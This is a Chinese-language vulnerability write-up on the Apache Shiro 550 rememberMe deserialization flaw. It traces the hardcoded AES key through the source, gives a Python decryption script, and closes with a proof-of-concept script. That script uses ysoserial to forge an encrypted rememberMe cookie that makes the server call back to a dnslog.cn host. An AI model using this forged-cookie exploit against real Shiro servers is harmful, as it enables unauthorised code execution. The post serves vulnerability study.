|
原文链接:Java反序列化漏洞分析(一)-Shiro550
0x01 前言
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为550的issue 中爆出严重的Java反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
- 检索cookie中RememberMe的值
- Base64解码
- 使用AES解密
- 反序列化
漏洞原因在于第三步,在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行。
只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
0x02 环境搭建首先下载源码,并切换有漏洞的版本
git clone https://github.com/apache/shiro.git cd shirogit checkout shiro-root-1.2.4
修改samples/web/pom.xml,支持jsp
Run
Edit Configurations
添加TomcatServer(Local)
Server中配置Tomcat路径
Deployment中添加Artifact
选择sample-web:war exploded
这里若要使用burpsuite,注意端口不要和bp冲突
然后运行即可
0x03 代码分析根据 https://issues.apache.org/jira/browse/SHIRO-550 描述
这是几个重要的点:
- 检索RememberMe cookie的值
- Base64解码
- 使用AES解密
- 使用Java序列化(ObjectInputStream)反序列化。
3.1 rememberMe cookie先来瞧瞧这个cookie,进入登录界面,在登录时,勾选Remember Me
rememberMe=+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU
使用Base64解码存储为二进制文件
#!/usr/bin/python3# -*- coding:utf-8 -*-# @Author : yhyimport base64import structrememberMe = '+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU'rememberMe_64 = base64.b64decode(rememberMe)f = open("rememberMe", 'wb')f.write(rememberMe_64)
内容如下:
上述内容中并没有在初探Java反序列化漏洞(一)中提到过的序列化的数据流以魔术数字和版本号AC ED 00 05 等字样。这是因为上述关键步骤中提到了AES解密,所以需要去跟一下源码。
3.2 Shiro 500 中的 AES 解密在IDEA中ctrl+shift+f 全局搜索AES
在src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java中找到了
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==") 就是我们要找的硬编码密钥,因为AES是对称加密,即加密密钥也同样是解密密钥。
然后看看shiro是怎么处理解密的,向下看,找到
- /**
- * Decrypts the byte array using the configured {@link #getCipherService() cipherService}.
- *
- * @param encrypted the encrypted byte array to decrypt
- * @return the decrypted byte array returned by the configured {@link #getCipherService () cipher}.
- */
- protected byte[] decrypt(byte[] encrypted) {
- byte[] serialized = encrypted;
- CipherService cipherService = getCipherService();
- if (cipherService != null) {
- ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
- serialized = byteSource.getBytes();
- }
- return serialized;
- }
复制代码
函数名decrypt,显而易见,是处理解密的,cipherService是一个接口,调用了其中的decrypt解密方法,需要两个变量encrypted(被加密的数组) 和 getDecryptionCipherKey()(获取解密秘钥),前面说了AES是对称加密,即加密密钥也同样是解密密钥。而且从程序中也能看到,确实是同一个,通过在该类中查找setDecryptionCipherKey()方法,可以看到
再搜索setCipherKey,可以看到构造方法中传入了DEFAULT_CIPHER_KEY_BYTES也就是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")的值
然后再看一下CipherService这个接口的decrypt的具体实现,ctrl+右键跟进去看看
这只是个接口,全局搜索implements CipherService 发现src/main/java/org/apache/shiro/crypto/JcaCipherService.java实现了CipherService接口,进去看看decrypt方法
简单来看,我们在这里下个断点,发现是CBC模式,并且 iv偏移量的值为 byte[] iv = new byte[16]
利用下面的脚本解密之前base64解码后生成的rememberMe文件得到decrypt.bin文件
- # pip install pycrypto
- import sys
- import base64
- from Crypto.Cipher import AES
- def decode_rememberme_file(filename):
- with open(filename, 'rb') as fpr:
- key = "kPH+bIxk5D2deZiIxcaaaA=="
- mode = AES.MODE_CBC
- IV = b' ' * 16
- encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
- remember_bin = encryptor.decrypt(fpr.read())
- return remember_bin
- if __name__ == '__main__':
- with open("decrypt.bin", 'wb+') as fpw:
- fpw.write(decode_rememberme_file(sys.argv[1]))
复制代码
这是 Java 序列化的标志,说明解密成功
3.3 反序列化看看解密之后的操作,回到src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java类中,看看,从哪里调用了decrypt函数,
在convertBytesToPrincipals这里解密之后,执行了反序列化deserialize,进去瞅瞅
通过获取getSerializer()来调用反序列化,再看看SetSerializer
- src/main/java/org/apache/shiro/io/DefaultSerializer.java
复制代码
这里使用的是默认反序列化类,没有任何检验,readobject()触发反序列化!
0x04 漏洞探测现在我们知道了shiro550在获取到rememberMe cookie的值后,通过硬编码的KEY kPH+bIxk5D2deZiIxcaaaA==进行AES解密,解密完成之后直接调用默认的反序列化的readobject()方法,没有经过任何的校验。
具体的 Payload 也就呼之欲出了,将payload通过AES加密伪造rememberMe cookie,我们通过刚才的解密流程知道shiro550采用的CBC模式、byte[] iv = new byte[16], 通过脚本伪造,利用ysoserial.jar 神器生成URLDNS探测的payload进行探测(shiro550自带来commons-collections3.2.1,关于commons-collections的相关漏洞,后续分析)
- # -*-* coding:utf-8
- # @Time : 2020/10/16 17:36
- # @Author : nice0e3
- # @FileName: poc.py
- # @Software: PyCharm
- # @Blog :https://www.cnblogs.com/nice0e3/
- import base64
- import uuid
- import subprocess
- from Crypto.Cipher import AES
- def rememberme(command):
- popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
- stdout=subprocess.PIPE)
- BS = AES.block_size
- pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
- key = "kPH+bIxk5D2deZiIxcaaaA=="
- mode = AES.MODE_CBC
- iv = b' ' * 16
- encryptor = AES.new(base64.b64decode(key), mode, iv)
- file_body = pad(popen.stdout.read())
- base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
- return base64_ciphertext
- if __name__ == '__main__':
- # 替换dnslog
- payload = rememberme('http://5fzd8f.dnslog.cn')
- with open("payload.cookie", "w") as fpw:
- print("rememberMe={}".format(payload.decode()))
- res = "rememberMe={}".format(payload.decode())
- fpw.write(res)
复制代码
运行生成
- rememberMe=Y3M07legS/64hNfAmb+zfY1Ch/sXxGbop7rMR3YgWuFwTmdZEGj1q0oaHMowhUpUopo4XNjBkIDbn+w4Zhq0QO+9GXX4+hZA67NiM5U6sXcxtxLZCdlRB4JlrT8JrtTs+OyejDVh2HXLgI29lmMSDVoVW5OV3EHISFbFS+MmQv6JGqt60OZHxw6y1uhwYcWiRZ2kqGwDbNE/Xj+vNA1/5CdvnElY3jVvo8YJ8Suy8zznVuMlR2OsjksaHel8dXoUSXRiTAsMnn0SJIqKm7KI98YqTQaSn4F7VnEqaaNyciQwgOoOV/MphOWjVcTWsEDgdUjT5WgI+pJSZpX9JIo1XT75SPpWkiIw9Sseptaor5fsPMPNuk/lf5bWSpnwFTlTUuClsDJbOXjgvcew77i9tw==
复制代码
替换打成功
其实一开始是失败的,shiro550自带的包是commons-collections3.2.1,原生情况下直接用ysoserial打,是不会成功的,其他文章在pom.xml中直接添加了
commons-collections4的包,才可以顺畅复现。至于为啥原生的3.2.1不能触发漏洞,以及可不可以触发漏洞,下篇文章再分析。
0x05 参考Apache Shiro Java 反序列化漏洞分析 https://blog.knownsec.com/2016/08/apache-shiro-java/
Java安全之Shiro 550反序列化漏洞分析 https://www.anquanke.com/post/id/225442#h3-8
ysoserial https://github.com/frohoff/ysoserial
|
|